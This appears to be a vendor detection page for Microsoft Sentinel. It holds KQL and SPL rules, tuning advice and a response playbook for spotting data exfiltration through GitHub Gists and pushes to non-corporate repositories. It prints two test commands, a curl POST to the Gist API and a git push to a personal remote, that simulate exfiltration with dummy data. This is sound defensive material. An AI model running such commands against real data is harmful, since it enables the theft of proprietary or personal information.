THREAT-CodeRepo-GistExfil Microsoft Sentinel · KQL

Detect Data Exfiltration via GitHub Gists and Private Code Repositories in Microsoft Sentinel

Adversaries and malicious insiders increasingly use code-hosting platforms (GitHub, GitLab, Bitbucket) as covert exfiltration channels because traffic to these domains is rarely blocked by web proxies and blends with routine developer activity. Two distinct abuse patterns are observed: (1) anonymous or throwaway-account Gist/paste creation used as a low-friction dead drop for small stolen artifacts (credentials, config files, session tokens) — documented in Turla dead-drop resolver infrastructure and multiple commodity loader families that stage stolen data via the GitHub Gist API before onward retrieval; and (2) bulk exfiltration via `git push` or GitHub API PUT/POST calls to a personal or attacker-controlled repository, seen in APT41 intrusions abusing developer tooling and in Lazarus Group operations staging stolen source code and credentials on GitHub/GitLab ahead of retrieval. The same channel is a leading insider-threat vector: departing employees push proprietary source code or customer data to a personal GitHub account under the cover of routine commits. Detection must distinguish these from the overwhelming volume of legitimate CI/CD and developer git traffic, so the strongest signals are (a) git remotes that do not match the organisation's registered GitHub/GitLab organisation, (b) anonymous Gist creation (no owning account, effectively unlisted/unattributable), and (c) API calls using PUT/POST verbs against content endpoints from processes other than the organisation's recognised CI/CD runners.

MITRE ATT&CK

Tactic
Exfiltration

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
let CorpGitOrg = "<YOUR_GITHUB_ORG>"; // e.g. "df00tech" - replace with your registered org/group name
let CodeRepoApiDomains = dynamic(["api.github.com", "api.gitlab.com", "api.bitbucket.org"]);
// Signal 1: git push to a remote that does not reference the corporate org/group
let NonCorpGitPush = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "git.exe" or FileName =~ "git"
| where ProcessCommandLine has "push"
| where ProcessCommandLine has_any ("github.com", "gitlab.com", "bitbucket.org")
| where not(ProcessCommandLine has CorpGitOrg)
| extend Signal = "GitPushNonCorpRemote"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, Signal;
// Signal 2: anonymous Gist / paste creation via scripting engines calling the Gist API
let AnonGistCreate = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName has_any ("curl", "curl.exe", "powershell.exe", "pwsh.exe", "python", "python.exe")
| where ProcessCommandLine has "api.github.com/gists"
| where ProcessCommandLine has_any ("-X POST", "-X PUT", "Invoke-RestMethod", "Invoke-WebRequest", "requests.post", "method='POST'")
| extend Signal = "AnonGistCreate"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, Signal;
// Signal 3: direct Contents API PUT (file upload without git client) from a non-CI/CD host
let ContentsApiUpload = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName has_any ("curl", "curl.exe", "powershell.exe", "pwsh.exe", "python", "python.exe")
| where ProcessCommandLine has_any (CodeRepoApiDomains)
| where ProcessCommandLine has_any ("/contents/", "/repos/") and ProcessCommandLine has_any ("-X PUT", "-X POST", "requests.put", "requests.post")
| where DeviceName !endswith "-runner" and DeviceName !endswith "-agent" // exclude known CI/CD runner naming convention
| extend Signal = "ContentsApiUpload"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, Signal;
union NonCorpGitPush, AnonGistCreate, ContentsApiUpload
| sort by Timestamp desc
high severity medium confidence

Three-signal detection for exfiltration to code repositories: (1) `git push` commands whose remote URL does not reference the organisation's registered GitHub/GitLab/Bitbucket namespace — the strongest indicator that data is leaving to a personal or attacker-controlled repository; (2) scripting-engine calls to the GitHub Gist API using PUT/POST, which covers anonymous or throwaway-account Gist creation used as a dead drop; (3) direct Contents/Repos API uploads from hosts that do not match the naming convention of known CI/CD runners. Replace `<YOUR_GITHUB_ORG>` and the runner-hostname suffix check with values matching your environment before deployment.

Data Sources

Microsoft Defender for Endpoint (DeviceProcessEvents)Sysmon Event ID 1Proxy/web gateway logs (GitHub/GitLab/Bitbucket categories)

Required Tables

DeviceProcessEvents

False Positives & Tuning

  • Developers legitimately pushing personal fork branches to their own GitHub account as part of an approved open-source contribution workflow
  • Security researchers or DevRel staff authorised to publish public Gists of sanitised code snippets
  • New CI/CD runners or self-hosted agents that do not yet match the expected hostname naming convention — update the exclusion list rather than suppressing the whole signal
  • Contractors or partner organisations pushing to a shared cross-org repository that legitimately falls outside the primary corporate GitHub org name

Other platforms for THREAT-CodeRepo-GistExfil


Testing Methodology

Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Exfiltration via Anonymous GitHub Gist

    Expected signal: Sysmon Event ID 1: curl.exe process creation with command line referencing api.github.com/gists and a POST body.

  2. Test 2Simulate Exfiltration via Git Push to Non-Corporate Remote

    Expected signal: Process creation events for git with 'push' in the command line and a remote URL not matching the corporate org.


Response Playbook

Triage

  1. Identify the account and host that generated the alert, and pull the full command line — the target remote URL or Gist/repo path tells you exactly where data was sent.
  2. Determine ownership of the destination: is the GitHub/GitLab account a known corporate service account, an employee's personal account, or an unknown/attacker-controlled account? Check the account's creation date and public activity if the repository is public.
  3. If a Gist was created, use the GitHub API (or the URL if captured) to review the Gist content before it is deleted or made unavailable — Gists can be deleted by the owner, so act quickly.
  4. Cross-reference the source host with recent file access/collection events (e.g., T1005 Data from Local System) to establish what was staged before the push or upload.
  5. For suspected insider activity, check whether the account is associated with an employee under HR review, in a notice period, or recently denied access elsewhere — correlate with HR/IT offboarding records where available.

Containment

  1. If the destination account is external/unknown, request takedown or content removal via the platform's abuse/DMCA process (GitHub Trust & Safety, GitLab abuse contact) and preserve evidence first.
  2. Revoke any personal access tokens (PATs) or OAuth app tokens used to authenticate the push/API call — rotate credentials if a service account token was reused inappropriately.
  3. Isolate the source host via EDR if exfiltration is confirmed and ongoing, particularly if paired with other collection or credential-access indicators.
  4. For insider cases, coordinate with HR/Legal before taking action against the employee's account — this is an HR-led investigation, not purely technical containment.
  5. Block egress to the specific repository/Gist URL at the proxy while the investigation is ongoing if the destination is clearly malicious.

Evidence Collection

  1. Full process command line for the git push, curl, or scripting-engine invocation, including the target remote/API URL
  2. GitHub/GitLab/Bitbucket audit log entries (if available via the organisation's enterprise audit log API) showing push events, API token usage, and IP addresses
  3. Local git configuration (.git/config) and any cached credentials (Git Credential Manager, .netrc) showing which accounts were configured on the host
  4. Proxy/web gateway logs confirming the destination domain, timestamp, and bytes transferred
  5. File access history on the source host in the hours preceding the push, to scope what data may have been included

Escalation Criteria

  • !Confirmed push or API upload to an account with no legitimate business relationship to the organisation
  • !Sensitive data confirmed in the pushed content (source code containing secrets, customer data, HR/financial records)
  • !Activity originates from a departing or recently terminated employee's account or device
  • !Evidence of prior credential theft or unusual authentication preceding the exfiltration event (suggesting external compromise rather than insider action)

Investigation Guide

Related Techniques

Forensic Artifacts

  • >.git/config on the source host: shows configured remotes and any embedded credentials in the remote URL
  • >Git Credential Manager cache or .netrc/.git-credentials file: reveals which GitHub/GitLab accounts were authenticated on the host
  • >Browser history / cached OAuth tokens for github.com or gitlab.com around the time of the event
  • >PowerShell/console history (ConsoleHost_history.txt) if PowerShell was used to call the Gist or Contents API directly
  • >Platform-side audit log (GitHub Enterprise/GitLab audit events) showing the push, API call, and originating IP address

Tuning Guidance

The single highest-value tuning step is maintaining an accurate allowlist of the organisation's registered GitHub/GitLab/Bitbucket org or group names and known CI/CD runner hostname patterns — without it, this detection will fire on every legitimate developer push. Once that allowlist is in place, treat any push or API call to a namespace outside it as requiring triage, since legitimate business reasons for this are comparatively rare (open-source contribution, approved partner repos) and can be documented as standing exceptions. Anonymous Gist creation has almost no legitimate high-volume use case in most SMB environments and can be tuned to a low-volume, high-priority alert.


Hunting Queries

Baseline all `git push` activity across the environment over 30 days by destination host, so a new or rarely-seen destination (a personal account domain path, or a first-time-seen repository namespace) stands out against normal developer push patterns to the corporate org.

Hunting — KQL
kql
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "git.exe"
| where ProcessCommandLine has "push"
| extend RemoteHost = extract(@"(github\.com|gitlab\.com|bitbucket\.org)", 1, ProcessCommandLine)
| where isnotempty(RemoteHost)
| summarize PushCount=count(), Accounts=make_set(AccountName), Hosts=make_set(DeviceName) by RemoteHost, bin(Timestamp, 1d)
| sort by PushCount desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\\git.exe" CommandLine="*push*"
| rex field=CommandLine "(?<RemoteHost>github\.com|gitlab\.com|bitbucket\.org)"
| stats count AS PushCount, values(User) AS Accounts, dc(host) AS HostCount BY RemoteHost, _time span=1d
| sort - PushCount

Atomic Red Team Tests

Test 1 Simulate Exfiltration via Anonymous GitHub Gist
windows

Uses curl to POST a test file's contents to the GitHub Gist API as an anonymous/unauthenticated gist, simulating a dead-drop exfiltration technique. Use only non-sensitive dummy data and a disposable token/account.

Command

powershell
echo 'test exfil data' > C:\Temp\exfil_test.txt && curl -X POST https://api.github.com/gists -H "Content-Type: application/json" -d "{\"public\":false,\"files\":{\"exfil_test.txt\":{\"content\":\"test exfil data\"}}}"

Cleanup

powershell
Remove-Item C:\Temp\exfil_test.txt -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: curl.exe process creation with command line referencing api.github.com/gists and a POST body.

Expected Detection

Alert fires on the AnonGistCreate signal, flagging the curl invocation targeting the Gist API.

Test 2 Simulate Exfiltration via Git Push to Non-Corporate Remote
linux

Initialises a local git repository containing dummy data and pushes it to a personal/non-corporate remote, simulating exfiltration of staged files via git.

Command

bash
mkdir /tmp/exfil_test && cd /tmp/exfil_test && git init && echo 'dummy data' > data.txt && git add data.txt && git commit -m test && git remote add origin https://github.com/test-personal-account/exfil-test.git && git push origin main

Cleanup

bash
rm -rf /tmp/exfil_test

Expected Telemetry

Process creation events for git with 'push' in the command line and a remote URL not matching the corporate org.

Expected Detection

Alert fires on the GitPushNonCorpRemote signal.

Related Detections